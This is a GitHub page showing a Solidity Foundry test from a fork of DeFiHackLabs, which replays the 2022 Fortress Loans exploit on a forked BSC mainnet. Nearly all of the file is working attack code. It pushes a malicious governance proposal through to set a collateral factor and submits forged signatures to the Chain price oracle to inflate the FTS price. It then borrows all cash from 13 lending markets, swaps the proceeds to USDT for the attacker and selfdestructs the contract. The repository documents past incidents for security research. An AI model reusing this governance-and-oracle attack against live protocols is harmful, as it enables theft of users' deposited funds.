forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
FortressLoans.exp.sol
405 lines (349 loc) · 19.4 KB
/
FortressLoans.exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
/* @KeyInfo -- Total Lost : 1,048 ETH + 400,000 DAI (~3,000,000 US$)
Attacker Wallet : https://bscscan.com/address/0xA6AF2872176320015f8ddB2ba013B38Cb35d22Ad
Attacker Contract : https://bscscan.com/address/0xcd337b920678cf35143322ab31ab8977c3463a45
Fortress PriceOracle : https://bscscan.com/address/0x00fcf33bfa9e3ff791b2b819ab2446861a318285#code
Chain Contract : https://bscscan.com/address/0xc11b687cd6061a6516e23769e4657b6efa25d78e#code
Fortress Governor Alpha : https://bscscan.com/address/0xe79ecdb7fedd413e697f083982bac29e93d86b2e#code
Price Feed : https://bscscan.com/address/0xaa24b64c9b44d874368b09325c6d60165c4b39f2#code
*/
/* @News
Offical Announce : https://mobile.twitter.com/Fortressloans/status/1523495202115051520
PeckShield Alert Thread : https://twitter.com/PeckShieldAlert/status/1523489670323404800
Blocksec Alert Thread : https://twitter.com/BlockSecTeam/status/1523530484877209600
*/
/* @Reports
CertiK Incident Analysis : https://www.certik.com/resources/blog/k6eZOpnK5Kdde7RfHBZgw-fortress-loans-exploit
Anquanke Incident Analysis : https://www.anquanke.com/post/id/273207
Freebuf Incident Analysis : https://www.freebuf.com/articles/blockchain-articles/332879.html
Learnblockchain.cn Analysis : https://learnblockchain.cn/article/4062
*/
CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address constant attacker = 0xA6AF2872176320015f8ddB2ba013B38Cb35d22Ad;
address constant MAHA = 0xCE86F7fcD3B40791F63B86C3ea3B8B355Ce2685b;
address constant FTS = 0x4437743ac02957068995c48E08465E0EE1769fBE;
address constant fFTS = 0x854C266b06445794FA543b1d8f6137c35924C9EB;
address constant GovernorAlpha = 0xE79ecdB7fEDD413E697F083982BAC29e93d86b2E;
address constant Chain = 0xc11B687cd6061A6516E23769E4657b6EfA25d78E;
address constant FortressPriceOracle = 0x00fcF33BFa9e3fF791b2b819Ab2446861a318285;
address constant PriceFeed = 0xAa24b64C9B44D874368b09325c6D60165c4B39f2;
address constant Unitroller = 0x67340Bd16ee5649A37015138B3393Eb5ad17c195;
address constant BorrowerOperations = 0xd55555376f9A43229Dc92abc856AA93Fee617a9A;
address constant ARTH = 0xB69A424Df8C737a122D0e60695382B3Eec07fF4B;
address constant ARTHUSD = 0x88fd584dF3f97c64843CD474bDC6F78e398394f4;
address constant Vyper1 = 0x98245Bfbef4e3059535232D68821a58abB265C45;
address constant Vyper2 = 0x1d4B4796853aEDA5Ab457644a18B703b6bA8b4aB;
address constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
contract ProposalCreateFactory is DSTest {
/* Method 0xb9470ff4 */
// 創建提案, 提案內容為: 設置 fToken 的抵押係數從 0 變更為 700000000000000000 (0.7 ether)
function ProposalCreated() public {
address[] memory _target = new address[](1);
uint[] memory _value = new uint[](1);
string[] memory _signature = new string[](1);
bytes[] memory _calldata = new bytes[](1);
_target[0] = Unitroller;
_value[0] = 0;
_signature[0] = "_setCollateralFactor(address,uint256)";
_calldata[0] = abi.encode(
fFTS, 700000000000000000
);
IGovernorAlpha(GovernorAlpha).propose(_target, _value, _signature, _calldata, 'Add the FTS token as collateral.');
}
/* Method 0x875a0830 */
// 投 Proposal 11 贊成票
function castVote() public {
IGovernorAlpha(GovernorAlpha).castVote(11, true);
}
}
contract Attack is DSTest{
/* Method 0x2b69be8e */
function exploit() public {
// Excute Proposal 11
IGovernorAlpha(GovernorAlpha).execute(11);
emit log_string("\t[info] Executed Proposal Id 11");
// Manipulate the price oracle
bytes32 _root = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d886;
bytes32[] memory _keys = new bytes32[](2);
_keys[0] = 0x000000000000000000000000000000000000000000000000004654532d555344;
_keys[1] = 0x0000000000000000000000000000000000000000000000004d4148412d555344;
uint256[] memory _values = new uint256[](2);
_values[0] = 4e34;
_values[1] = 4e34;
uint8[] memory _v = new uint8[](4);
_v[0] = 28;
_v[1] = 28;
_v[2] = 28;
_v[3] = 28;
bytes32[] memory _r = new bytes32[](4);
_r[0] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d885;
_r[1] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d882;
_r[2] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d877;
_r[3] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d881;
bytes32[] memory _s = new bytes32[](4);
_s[0] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d825;
_s[1] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d832;
_s[2] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d110;
_s[3] = 0x6b336703993c6c151a39d97a5cf3708a5f9bfd338d958d4b71c6416a6ab8d841;
IChain(Chain).submit(uint32(block.timestamp), _root, _keys, _values, _v, _r, _s);
emit log_string("\t[info] Chain.submit() Success");
// Check the FTS price is manipulated (from Fortress Loans perspective 📈)
// This article explains how Chain.submit() affected FTS price: https://blog.csdn.net/Timmbe/article/details/124678475
uint256 _checkpoint;
_checkpoint = IFortressPriceOracle(FortressPriceOracle).getUnderlyingPrice(FToken(fFTS));
assert(_checkpoint == 4e34); // make sure have same result as mainnet tx
emit log_string("\t[info] FortressPriceOracle.getUnderlyingPrice(FToken(fFTS)) Success");
// Fetch price
_checkpoint = IPriceFeed(PriceFeed).fetchPrice();
assert(_checkpoint == 2e34); // make sure have same result as mainnet tx
emit log_string("\t[info] PriceFeed.fetchPrice() Success");
// Enter fFTS markets
address[] memory _tmp = new address[](1);
_tmp[0] = fFTS;
IUnitroller(Unitroller).enterMarkets(_tmp);
emit log_string("\t[info] Unitroller.enterMarkets(fFTS) Success");
// Provide 100 FTS Token as collateral, mint fFTS
IFTS(FTS).approve(fFTS, type(uint256).max);
uint256 _FTS_balance = IFTS(FTS).balanceOf(address(this));
IfFTS(fFTS).mint(_FTS_balance);
assert(IfFTS(fFTS).balanceOf(address(this)) == 499999999999);
emit log_string("\t[info] fFTS.mint(FTS) Success");
// Get all Fortress Loans markets
address[] memory markets = IUnitroller(Unitroller).getAllMarkets();
address fbnb = markets[0]; // 0xe24146585e882b6b59ca9bfaaaffed201e4e5491
address fusdc = markets[1]; // 0x3ef88d7fde18fe966474fe3878b802f678b029bc
address fusdt = markets[2]; // 0x554530ecde5a4ba780682f479bc9f64f4bbff3a1
address fbusd = markets[3]; // 0x8bb0d002bac7f1845cb2f14fe3d6aae1d1601e29
address fbtc = markets[4]; // 0x47baa29244c342f1e6cde11c968632e7403ae258
address feth = markets[5]; // 0x5f3ef8b418a8cd7e3950123d980810a0a1865981
address fltc = markets[6]; // 0xe75b16cc66f8820fb97f52f0c25f41982ba4daf3
address fxrp = markets[7]; // 0xa7fb72808de4ffcacf9a815bd1ccbe70f03b54ca
address fada = markets[8]; // 0x4c0933453359733b4867dff1145a9a0749931a00
address fdai = markets[9]; // 0x5f30fdddcf14a0997a52fdb7d7f23b93f0f21998
address fdot = markets[10]; // 0x8fc4f7a57bb19e701108b17d785a28118604a3d1
address fbeth = markets[11]; // 0x8ed1f4c1326e5d3c1b6e99ac9e5ec6651e11e3da
address fshib = markets[14]; // 0x073c0ac03e7c839c718a65e0c4d0724cc0bd2b5f
// Borrow ERC-20 Tokens
IFBep20Delegator[13] memory Delegators = [
IFBep20Delegator(fbnb),
IFBep20Delegator(fusdc),
IFBep20Delegator(fusdt),
IFBep20Delegator(fbusd),
IFBep20Delegator(fbtc),
IFBep20Delegator(feth),
IFBep20Delegator(fltc),
IFBep20Delegator(fxrp),
IFBep20Delegator(fada),
IFBep20Delegator(fdai),
IFBep20Delegator(fdot),
IFBep20Delegator(fbeth),
IFBep20Delegator(fshib)
];
for(uint8 i; i < Delegators.length; i++){
uint256 borrowAmount = Delegators[i].getCash();
Delegators[i].borrow(borrowAmount);
}
emit log_string("\t[info] 13 markets ERC-20 token borrow Success");
IERC20(MAHA).approve(BorrowerOperations, type(uint256).max);
IBorrowerOperations(BorrowerOperations).openTrove(
1e18,
1e27,
IERC20(MAHA).balanceOf(address(this)),
address(0),
address(0),
address(0)
);
IERC20(ARTH).approve(ARTHUSD, type(uint256).max);
IERC20(ARTHUSD).deposit(1e27);
IERC20(ARTHUSD).approve(Vyper1, type(uint256).max);
IERC20(ARTHUSD).approve(Vyper2, type(uint256).max);
IVyper(Vyper1).exchange_underlying(0, 3, 5e26, 0, msg.sender);
IVyper(Vyper2).exchange_underlying(0, 3, 15e26, 0, msg.sender);
}
function withdrawAll() public {
// Get all Fortress Loans markets
address[] memory markets = IUnitroller(Unitroller).getAllMarkets();
address fbnb = markets[0]; // 0xe24146585e882b6b59ca9bfaaaffed201e4e5491
address fusdc = markets[1]; // 0x3ef88d7fde18fe966474fe3878b802f678b029bc
address fusdt = markets[2]; // 0x554530ecde5a4ba780682f479bc9f64f4bbff3a1
address fbusd = markets[3]; // 0x8bb0d002bac7f1845cb2f14fe3d6aae1d1601e29
address fbtc = markets[4]; // 0x47baa29244c342f1e6cde11c968632e7403ae258
address feth = markets[5]; // 0x5f3ef8b418a8cd7e3950123d980810a0a1865981
address fltc = markets[6]; // 0xe75b16cc66f8820fb97f52f0c25f41982ba4daf3
address fxrp = markets[7]; // 0xa7fb72808de4ffcacf9a815bd1ccbe70f03b54ca
address fada = markets[8]; // 0x4c0933453359733b4867dff1145a9a0749931a00
address fdai = markets[9]; // 0x5f30fdddcf14a0997a52fdb7d7f23b93f0f21998
address fdot = markets[10]; // 0x8fc4f7a57bb19e701108b17d785a28118604a3d1
address fbeth = markets[11]; // 0x8ed1f4c1326e5d3c1b6e99ac9e5ec6651e11e3da
address fshib = markets[14]; // 0x073c0ac03e7c839c718a65e0c4d0724cc0bd2b5f
IFBep20Delegator[13] memory Delegators = [
IFBep20Delegator(fbnb),
IFBep20Delegator(fusdc),
IFBep20Delegator(fusdt),
IFBep20Delegator(fbusd),
IFBep20Delegator(fbtc),
IFBep20Delegator(feth),
IFBep20Delegator(fltc),
IFBep20Delegator(fxrp),
IFBep20Delegator(fada),
IFBep20Delegator(fdai),
IFBep20Delegator(fdot),
IFBep20Delegator(fbeth),
IFBep20Delegator(fshib)
];
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address USDT = 0x55d398326f99059fF775485246999027B3197955;
// Swap each underlyAsset to attacker, Path: Asset->WBNB->USDT
for(uint i=0; i < 13; i++){
if (address(Delegators[i]) == 0xE24146585E882B6b59ca9bFaaaFfED201E4E5491) continue; // Skip Fortress BNB (fBNB), use singleHop swap later
if (address(Delegators[i]) == 0x554530ecDE5A4Ba780682F479BC9F64F4bBFf3a1) continue; // Skip Fortress USDT (fUSDT), transfer USDT later
address underlyAsset = Delegators[i].underlying(); // Resolve underlyAsset address
uint amount = IERC20(underlyAsset).balanceOf(address(this)); // Get each underlyAsset balance
address[] memory mulitHop = new address[](3); // Do swap
mulitHop[0] = underlyAsset;
mulitHop[1] = WBNB;
mulitHop[2] = USDT;
IERC20(underlyAsset).approve(PancakeRouter, type(uint256).max);
IPancakeRouter(payable(PancakeRouter)).swapExactTokensForTokens(amount, 0, mulitHop, msg.sender, block.timestamp);
}
// Swap WBNB->USDT to attacker
address[] memory singleHop = new address[](2);
singleHop[0] = WBNB;
singleHop[1] = USDT;
IPancakeRouter(payable(PancakeRouter)).swapExactETHForTokens{value: address(this).balance}(0, singleHop, msg.sender, block.timestamp);
emit log_string("\t[Pass] Swap BNB->USDT, amountOut send to attacker");
// Transfer all USDT balance to attacker
uint usdt_balance = IERC20(USDT).balanceOf(address(this));
IERC20(USDT).transfer(msg.sender, usdt_balance);
emit log_string("\t[Pass] Transfer all USDT balance to attacker");
}
/* Method 0xd4ddb845 */
function kill() public {
selfdestruct(payable(msg.sender));
}
receive() payable external {}
}
contract Hacker is DSTest {
using stdStorage for StdStorage;
StdStorage stdstore;
address USDT = 0x55d398326f99059fF775485246999027B3197955;
constructor(){
cheat.createSelectFork("bsc", 17490837); // Fork BSC mainnet at block 17490837
emit log_string("This reproduce shows how attacker exploit Fortress Loan, cause ~3,000,000 US$ lost");
emit log_named_decimal_uint("[Start] Attacker Wallet USDT Balance", IERC20(USDT).balanceOf(address(this)), 18);
cheat.label(attacker, "AttackerWallet");
cheat.label(address(this), "AttackContract");
cheat.label(USDT, "USDT");
cheat.label(MAHA, "MahaDAOProxy");
cheat.label(FTS, "FTS");
cheat.label(fFTS, "fFTS");
cheat.label(GovernorAlpha, "GovernorAlpha");
cheat.label(Chain, "Chain");
cheat.label(FortressPriceOracle, "FortressPriceOracle");
cheat.label(PriceFeed, "PriceFeed");
cheat.label(Unitroller, "Unitroller");
cheat.label(BorrowerOperations, "BorrowerOperations");
cheat.label(ARTH, "ARTH");
cheat.label(ARTHUSD, "ARTHUSD");
cheat.label(Vyper1, "Vyper1");
cheat.label(Vyper2, "Vyper2");
cheat.label(PancakeRouter, "PancakeRouter");
}
function testExploit() public {
// txId : 0x18dc1cafb1ca20989168f6b8a087f3cfe3356d9a1edd8f9d34b3809985203501
// Do : Attacker Create [ProposalCreater] Contract
cheat.rollFork(17490837); // make sure start from block 17490837
cheat.startPrank(attacker); // Set msg.sender = attacker
ProposalCreateFactory PCreater = new ProposalCreateFactory();
cheat.stopPrank();
cheat.label(address(PCreater), "ProposalCreateFactory");
emit log_named_address("[Pass] Attacker created [ProposalCreater] contract", address(PCreater));
// txId : 0x12bea43496f35e7d92fb91bf2807b1c95fcc6fedb062d66678c0b5cfe07cc002
// Do : Create Proposal Id 11
cheat.createSelectFork("bsc", 17490882);
cheat.startPrank(attacker);
PCreater.ProposalCreated();
cheat.stopPrank();
emit log_string("[Pass] Attacker created Proposal Id 11");
// txId : 0x83a4f8f52b8f9e6ff1dd76546a772475824d9aa5b953808dbc34d1f39250f29d
// Do : Vote Proposal Id 11
cheat.createSelectFork("bsc", 17570125);
cheat.startPrank(0x58f96A6D9ECF0a7c3ACaD2f4581f7c4e42074e70); // Malicious voter
IGovernorAlpha(GovernorAlpha).castVote(11, true);
cheat.stopPrank();
emit log_string("[Pass] Unknown malicious voter supported Proposal 11");
// txId : 0xc368afb2afc499e7ebb575ba3e717497385ef962b1f1922561bcb13f85336252
// Do : Vote Proposal Id 11
cheat.createSelectFork("bsc", 17570164);
cheat.startPrank(attacker);
PCreater.castVote();
cheat.stopPrank();
emit log_string("[Pass] Attacker supported Proposal 11");
// txId : 0x647c6e89cd1239381dd49a43ca2f29a9fdeb6401d4e268aff1c18b86a7e932a0
// Do : Queue Proposal Id 11
cheat.createSelectFork("bsc", 17577532);
cheat.startPrank(attacker);
IGovernorAlpha(GovernorAlpha).queue(11);
cheat.stopPrank();
emit log_string("[Pass] Attacker queued Proposal 11");
// txId : 0x4800928c95db2fc877f8ba3e5a41e208231dc97812b0174e75e26cca38af5039
// Do : Create Attack Contract
cheat.createSelectFork("bsc", 17634589);
cheat.setNonce(attacker, 69);
cheat.startPrank(attacker);
Attack attackContract = new Attack();
cheat.stopPrank();
cheat.label(address(attackContract), "AttackContract");
assert(address(attackContract) == 0xcD337b920678cF35143322Ab31ab8977C3463a45); // make sure deployAddr is same as mainnet
emit log_named_address("[Pass] Attacker created [AttackContract] contract", address(attackContract));
// txId : 0x6a04f47f839d6db81ba06b17b5abbc8b250b4c62e81f4a64aa6b04c0568dc501
// Do : Send 3.0203 MahaDAO to Attack Contract
// Note : This tx is not part of exploit chain, so we just cheat it to skip some pre-swap works ;)
stdstore.target(MAHA)
.sig(IERC20(MAHA).balanceOf.selector)
.with_key(address(attackContract))
.checked_write(3020309536199074866);
assert(IERC20(MAHA).balanceOf(address(attackContract)) == 3020309536199074866);
emit log_string("[Pass] Attacker send 3.0203 MahaDAO to [AttackContract] contract");
// txId : 0xd127c438bdac59e448810b812ffc8910bbefc3ebf280817bd2ed1e57705588a0
// Do : Send 100 FTS to Attack Contract
// Note : This tx is not part of exploit chain, so we just cheat it to skip some pre-swap works ;)
stdstore.target(FTS)
.sig(IFTS(FTS).balanceOf.selector)
.with_key(address(attackContract))
.checked_write(100 ether);
assert(IFTS(FTS).balanceOf(address(attackContract)) == 100 ether);
emit log_string("[Pass] Attacker send 100 FTS to [AttackContract] contract");
// txId : 0x13d19809b19ac512da6d110764caee75e2157ea62cb70937c8d9471afcb061bf
// Do : Execute Proposal Id 11
cheat.roll(17634663); // No fork here, otherwise will get Error("do not spam") in Chain.sol
cheat.warp(1652042082); // 2022-05-08 20:34:42 UTC+0
cheat.startPrank(attacker);
attackContract.exploit();
cheat.stopPrank();
emit log_string("[Pass] Attacker triggered the exploit");
// txId : 0x851a65865ec89e64f0000ab973a92c3313ea09e80eb4b4660195a14d254cd425
// Do : Withdraw All
cheat.roll(17634670); // We need to verify the reproduce run as expected, so don't use createSelectFork()
cheat.warp(1651998903); // 2022-05-08 20:35:03 UTC+0
cheat.startPrank(attacker);
attackContract.withdrawAll();
cheat.stopPrank();
emit log_string("[Pass] Attacker successfully withdrew the profit");
// txId : 0xde8d9d55a5c795b2b9b3cd5b648a29b392572719fbabd91993efcd2bc57110d3
// Do : Destruct the Attack Contract
cheat.roll(17635247);
cheat.warp(1652043834); // 2022-05-08 21:03:54 UTC+0
cheat.startPrank(attacker);
attackContract.kill();
cheat.stopPrank();
emit log_string("[Pass] Attacker destruct the Attack Contract");
emit log_named_decimal_uint("[End] Attacker Wallet USDT Balance", IERC20(USDT).balanceOf(attacker), 18);
// You shold see attacker profit about 300K USDT
// The USDT were moved after swapping across the cBridge(Celer Network), and swapped them into ETH and DAI.
}
receive() external payable {}
}